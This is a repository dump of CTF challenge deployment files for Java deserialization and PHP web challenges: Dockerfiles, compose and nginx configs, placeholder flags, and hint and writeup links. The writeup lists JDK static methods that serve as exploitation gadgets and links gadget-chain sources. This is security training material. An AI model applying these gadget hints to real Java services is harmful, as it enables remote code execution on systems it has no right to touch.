https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/0ctf-2022/3rm1/deploy/rmiclient/threermiclient.jar -------------------------------------------------------------------------------- /0ctf-2022/3rm1/deploy/rmiserver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:8u201-alpine 2 | 3 | 4 | RUN addgroup -S ctfgroup && adduser -S ctf -G ctfgroup 5 | RUN mkdir /opt/app 6 | 7 | COPY threermiserver.jar /opt/app 8 | 9 | WORKDIR /opt/app 10 | 11 | USER ctf 12 | CMD ["java", "-jar", "/opt/app/threermiserver.jar"] 13 | -------------------------------------------------------------------------------- /0ctf-2022/3rm1/deploy/rmiserver/threermiserver.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/0ctf-2022/3rm1/deploy/rmiserver/threermiserver.jar -------------------------------------------------------------------------------- /0ctf-2022/3rm1/readmd.md: -------------------------------------------------------------------------------- 1 | - hint 1: https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf page 50 2 | 3 | - hint 2: hint 2: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Spring1.java 4 | -------------------------------------------------------------------------------- /0ctf-2022/3rm1/writeup/readme.md: -------------------------------------------------------------------------------- 1 | [0ctf-2022-soln-3rm1](https://github.com/ceclin/0ctf-2022-soln-3rm1) 2 | 3 | [perfect r00t 3rm1 writeup](https://github.com/perfectblue/ctf-writeups/tree/master/2022/0ctf-2022/3rm1) -------------------------------------------------------------------------------- /0ctf-2022/hessian-onlyJdk/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:8u342-slim 2 | 3 | 4 | RUN adduser ctf && addgroup ctfgroup && adduser ctf ctfgroup 5 | RUN mkdir /opt/app 6 | 7 | COPY hessian-onlyJdk.jar /opt/app 8 | COPY JavaUtils.class /opt/app 9 | COPY jvmtiagent.so /opt/app 10 | COPY flag /flag 11 | 12 | WORKDIR /opt/app 13 | 14 | USER ctf 15 | CMD ["java", "-agentpath:/opt/app/jvmtiagent.so=/opt/app/JavaUtils.class", "-jar", "/opt/app/hessian-onlyJdk.jar"] 16 | -------------------------------------------------------------------------------- /0ctf-2022/hessian-onlyJdk/deploy/JavaUtils.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/0ctf-2022/hessian-onlyJdk/deploy/JavaUtils.class -------------------------------------------------------------------------------- /0ctf-2022/hessian-onlyJdk/deploy/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | web: 4 | build: ./ 5 | restart: always 6 | ports: 7 | - 8090:8090 8 | -------------------------------------------------------------------------------- /0ctf-2022/hessian-onlyJdk/deploy/flag: -------------------------------------------------------------------------------- 1 | flag{1826b7f76642cb4a62e5d74a8fe4db5e} 2 | -------------------------------------------------------------------------------- /0ctf-2022/hessian-onlyJdk/deploy/hessian-onlyJdk-reset.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while true 4 | do 5 | docker-compose down -v 6 | docker-compose up -d 7 | sleep 5m 8 | done 9 | -------------------------------------------------------------------------------- /0ctf-2022/hessian-onlyJdk/deploy/hessian-onlyJdk.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/0ctf-2022/hessian-onlyJdk/deploy/hessian-onlyJdk.jar -------------------------------------------------------------------------------- /0ctf-2022/hessian-onlyJdk/deploy/jvmtiagent.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/0ctf-2022/hessian-onlyJdk/deploy/jvmtiagent.so -------------------------------------------------------------------------------- /0ctf-2022/hessian-onlyJdk/readmd.md: -------------------------------------------------------------------------------- 1 | [reference 1](https://lists.apache.org/thread/1mszxrvp90y01xob56yp002939c7hlww) 2 | 3 | [reference 2](https://x-stream.github.io/CVE-2021-21346.html) -------------------------------------------------------------------------------- /0ctf-2022/hessian-onlyJdk/writeup/readme.md: -------------------------------------------------------------------------------- 1 | 2 | some interesting staic funtions 3 | 4 | - MethodUtils.invoke 5 | - [0ctf-2022-soln-hessian-onlyjdk](https://github.com/ceclin/0ctf-2022-soln-hessian-onlyjdk) 6 | - System.setProperty + InitalContext.doLookup @福来阁 7 | - DumpBytecode.dumpBytecode + System.load @ty1310 @nese 8 | - com.sun.org.apache.xalan.internal.xslt.Process._main @福来阁 @Water Paddler 9 | - sun.tools.jar.Main.main 10 | - [writeup](https://gist.github.com/CykuTW/4c0d105df24acf2218e0aedb67661da9) @Cyku 11 | - System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm @StrawHat 12 | - com.sun.org.apache.bcel.internal.util.JavaWrapper 13 | - [writeup](https://siebene.github.io/2022/09/19/0CTF2022-hessian-onlyjdk-WriteUp/) @Siebene@ 14 | -------------------------------------------------------------------------------- /aliyunctf-2023/bypassit/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:8u332-jdk 2 | 3 | RUN mkdir /opt/app 4 | RUN mkdir /opt/rasp 5 | 6 | COPY bypassit.jar /opt/app 7 | COPY flag /flag 8 | COPY readflag /readflag 9 | 10 | RUN chmod 400 /flag 11 | RUN chmod u+s /readflag 12 | 13 | COPY naiverasp.jar /opt/rasp 14 | COPY libnativerasp.so /opt/rasp 15 | 16 | WORKDIR /opt/app 17 | 18 | USER nobody 19 | CMD ["java", "-javaagent:/opt/rasp/naiverasp.jar", "-jar", "/opt/app/bypassit.jar"] -------------------------------------------------------------------------------- /aliyunctf-2023/bypassit/deploy/bypass2-reset.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while true 4 | do 5 | docker-compose down -v 6 | docker-compose up -d 7 | sleep 5m 8 | done -------------------------------------------------------------------------------- /aliyunctf-2023/bypassit/deploy/bypassit.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/aliyunctf-2023/bypassit/deploy/bypassit.jar -------------------------------------------------------------------------------- /aliyunctf-2023/bypassit/deploy/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | web: 4 | build: ./ 5 | restart: always 6 | ports: 7 | - 8080:8080 -------------------------------------------------------------------------------- /aliyunctf-2023/bypassit/deploy/flag: -------------------------------------------------------------------------------- 1 | aliyunctf{here_is_your_flag} -------------------------------------------------------------------------------- /aliyunctf-2023/bypassit/deploy/libnativerasp.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/aliyunctf-2023/bypassit/deploy/libnativerasp.so -------------------------------------------------------------------------------- /aliyunctf-2023/bypassit/deploy/naiverasp.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/aliyunctf-2023/bypassit/deploy/naiverasp.jar -------------------------------------------------------------------------------- /aliyunctf-2023/bypassit/deploy/readflag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/aliyunctf-2023/bypassit/deploy/readflag -------------------------------------------------------------------------------- /hfctf-2022/ezchain/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:8u181-slim 2 | 3 | MAINTAINER yxxx 4 | ENV REFRESHED_AT 2022-03-09 5 | ENV LANG C.UTF-8 6 | 7 | RUN sed -i 's/http:\/\/security.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list 8 | RUN sed -i 's/http:\/\/deb.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list 9 | RUN apt-get update -y 10 | 11 | ENV DEBIAN_FRONTEND noninteractive 12 | 13 | 14 | 15 | RUN useradd ctf && mkdir /opt/app 16 | 17 | COPY ezchain.jar /opt/app 18 | WORKDIR /opt/app 19 | 20 | 21 | EXPOSE 8090 22 | USER ctf 23 | 24 | 25 | CMD ["java", "-jar", "/opt/app/ezchain.jar"] -------------------------------------------------------------------------------- /hfctf-2022/ezchain/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | services: 3 | nginx: 4 | image: nginx:1.15 5 | ports: 6 | - "0.0.0.0:8090:80" 7 | restart: always 8 | volumes: 9 | - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro 10 | networks: 11 | - internal_network 12 | - out_network 13 | web: 14 | build: ./ 15 | restart: always 16 | volumes: 17 | - ./flag:/flag:ro 18 | networks: 19 | - internal_network 20 | networks: 21 | internal_network: 22 | internal: true 23 | ipam: 24 | driver: default 25 | out_network: 26 | ipam: 27 | driver: default -------------------------------------------------------------------------------- /hfctf-2022/ezchain/ezchain.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/waderwu/My-CTF-Challenges/b2c7452b602dc6b59da5df0750d64419e6a90b1e/hfctf-2022/ezchain/ezchain.jar -------------------------------------------------------------------------------- /hfctf-2022/ezchain/flag: -------------------------------------------------------------------------------- 1 | HFCTF{test} -------------------------------------------------------------------------------- /hfctf-2022/ezchain/nginx.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | server_name localhost; 4 | 5 | location / { 6 | root /usr/share/nginx/html; 7 | index index.html index.htm; 8 | proxy_pass http://web:8090; 9 | } 10 | 11 | #error_page 404 /404.html; 12 | 13 | # redirect server error pages to the static page /50x.html 14 | # 15 | error_page 500 502 503 504 /50x.html; 16 | location = /50x.html { 17 | root /usr/share/nginx/html; 18 | } 19 | } -------------------------------------------------------------------------------- /hfctf-2022/ezphp/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4.28-fpm-buster 2 | 3 | LABEL Maintainer="yxxx" 4 | ENV REFRESHED_AT 2022-03-14 5 | ENV LANG C.UTF-8 6 | 7 | RUN sed -i 's/http:\/\/security.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list 8 | RUN sed -i 's/http:\/\/deb.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list 9 | RUN apt upgrade -y && \ 10 | apt update -y && \ 11 | apt install nginx -y 12 | 13 | ENV DEBIAN_FRONTEND noninteractive 14 | 15 | 16 | 17 | COPY index.php /var/www/html 18 | COPY default.conf /etc/nginx/sites-available/default 19 | COPY nginx.conf /etc/nginx/nginx.conf 20 | 21 | RUN rm -rf /var/www/html/index.nginx-debian.html 22 | 23 | COPY flag /flag 24 | 25 | 26 | EXPOSE 80 27 | 28 | CMD php-fpm -D && nginx -g 'daemon off;' 29 | -------------------------------------------------------------------------------- /hfctf-2022/ezphp/default.conf: -------------------------------------------------------------------------------- 1 | ## 2 | # You should look at the following URL's in order to grasp a solid understanding 3 | # of Nginx configuration files in order to fully unleash the power of Nginx. 4 | # https://www.nginx.com/resources/wiki/start/ 5 | # https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/ 6 | # https://wiki.debian.org/Nginx/DirectoryStructure 7 | # 8 | # In most cases, administrators will remove this file from sites-enabled/ and 9 | # leave it as reference inside of sites-available where it will continue to be 10 | # updated by the nginx packaging team. 11 | # 12 | # This file will automatically load configuration files provided by other 13 | # applications, such as Drupal or Wordpress. These applications will be made 14 | # available underneath a path with that package name, such as /drupal8. 15 | # 16 | # Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples. 17 | ## 18 | 19 | # Default server configuration 20 | # 21 | server { 22 | listen 80 default_server; 23 | listen [::]:80 default_server; 24 | 25 | # SSL configuration 26 | # 27 | # listen 443 ssl default_server; 28 | # listen [::]:443 ssl default_server; 29 | # 30 | # Note: You should disable gzip for SSL traffic. 31 | # See: https://bugs.debian.org/773332 32 | # 33 | # Read up on ssl_ciphers to ensure a secure configuration. 34 | # See: https://bugs.debian.org/765782 35 | # 36 | # Self signed certs generated by the ssl-cert package 37 | # Don't use them in a production server! 38 | # 39 | # include snippets/snakeoil.conf; 40 | 41 | root /var/www/html; 42 | 43 | # Add index.php to the list if you are using PHP 44 | index index.html index.htm index.nginx-debian.html index.php; 45 | 46 | server_name _; 47 | 48 | location / { 49 | # First attempt to serve request as file, then 50 | # as directory, then fall back to displaying a 404. 51 | try_files $uri $uri/ =404; 52 | } 53 | 54 | # pass PHP scripts to FastCGI server 55 | # 56 | location ~ \.php$ { 57 | include snippets/fastcgi-php.conf; 58 | 59 | # With php-fpm (or other unix sockets): 60 | # fastcgi_pass unix:/run/php/php7.3-fpm.sock; 61 | # With php-cgi (or other tcp sockets): 62 | fastcgi_pass 127.0.0.1:9000; 63 | } 64 | 65 | # deny access to .htaccess files, if Apache's document root 66 | # concurs with nginx's one 67 | # 68 | #location ~ /\.ht { 69 | # deny all; 70 | #} 71 | } 72 | 73 | 74 | # Virtual Host configuration for example.com 75 | # 76 | # You can move that to a different file under sites-available/ and symlink that 77 | # to sites-enabled/ to enable it. 78 | # 79 | #server { 80 | # listen 80; 81 | # listen [::]:80; 82 | # 83 | # server_name example.com; 84 | # 85 | # root /var/www/example.com; 86 | # index index.html; 87 | # 88 | # location / { 89 | # try_files $uri $uri/ =404; 90 | # } 91 | #} 92 | -------------------------------------------------------------------------------- /hfctf-2022/ezphp/flag: -------------------------------------------------------------------------------- 1 | HFCTF{test} -------------------------------------------------------------------------------- /hfctf-2022/ezphp/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /hfctf-2022/ezphp/nginx.conf: -------------------------------------------------------------------------------- 1 | user www-data; 2 | worker_processes 1; 3 | pid /run/nginx.pid; 4 | include /etc/nginx/modules-enabled/*.conf; 5 | 6 | events { 7 | worker_connections 768; 8 | # multi_accept on; 9 | } 10 | 11 | http { 12 | 13 | ## 14 | # Basic Settings 15 | ## 16 | 17 | sendfile on; 18 | tcp_nopush on; 19 | tcp_nodelay on; 20 | keepalive_timeout 65; 21 | types_hash_max_size 2048; 22 | # server_tokens off; 23 | 24 | # server_names_hash_bucket_size 64; 25 | # server_name_in_redirect off; 26 | 27 | include /etc/nginx/mime.types; 28 | default_type application/octet-stream; 29 | 30 | ## 31 | # SSL Settings 32 | ## 33 | 34 | ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE 35 | ssl_prefer_server_ciphers on; 36 | 37 | ## 38 | # Logging Settings 39 | ## 40 | 41 | access_log /var/log/nginx/access.log; 42 | error_log /var/log/nginx/error.log; 43 | 44 | ## 45 | # Gzip Settings 46 | ## 47 | 48 | gzip on; 49 | 50 | # gzip_vary on; 51 | # gzip_proxied any; 52 | # gzip_comp_level 6; 53 | # gzip_buffers 16 8k; 54 | # gzip_http_version 1.1; 55 | # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 56 | 57 | ## 58 | # Virtual Host Configs 59 | ## 60 | 61 | include /etc/nginx/conf.d/*.conf; 62 | include /etc/nginx/sites-enabled/*; 63 | } 64 | 65 | 66 | #mail { 67 | # # See sample authentication script at: 68 | # # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript 69 | # 70 | # # auth_http localhost/auth.php; 71 | # # pop3_capabilities "TOP" "USER"; 72 | # # imap_capabilities "IMAP4rev1" "UIDPLUS"; 73 | # 74 | # server { 75 | # listen localhost:110; 76 | # protocol pop3; 77 | # proxy on; 78 | # } 79 | # 80 | # server { 81 | # listen localhost:143; 82 | # protocol imap; 83 | # proxy on; 84 | # } 85 | #} 86 | --------------------------------------------------------------------------------